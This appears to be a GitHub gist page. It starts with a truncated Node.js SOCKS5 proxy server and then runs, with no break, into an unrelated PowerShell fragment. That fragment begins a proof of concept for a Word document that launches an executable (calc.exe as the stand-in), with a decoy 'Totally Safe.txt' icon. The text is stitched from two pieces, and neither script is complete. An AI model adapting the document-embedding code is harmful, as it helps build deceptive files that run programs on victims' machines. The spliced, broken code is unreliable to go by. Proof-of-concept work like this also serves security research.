Skip to content

Instantly share code, notes, and snippets.

View justin-p's full-sized avatar
:shipit:

Justin Perdok justin-p

:shipit:
View GitHub Profile
@justin-p
justin-p / socks5.js
Created January 30, 2024 14:13 — forked from longbill/socks5.js
Socks5 proxy server in pure javascript
const net = require('net')
net.createServer(client => {
client.once('data', data => {
client.write(Buffer.from([5, 0]));
client.once('data', data => {
data = [...data];
let ver = data.shift();
let cmd = data.shift(); //1: connect, 2: bind, 3: udp
let rsv = data.shift();
# target file path
$filename = [Environment]::GetFolderPath('Desktop') + '\Embedded_Internet_Explorer_poc.docx'
# path to open
$path = 'C:\windows\system32\calc.exe'
# the temp file is used for creating the icon
$tmpfile = "$env:TEMP\Totally Safe.txt"
# load assemblies for changing the docx (zip) file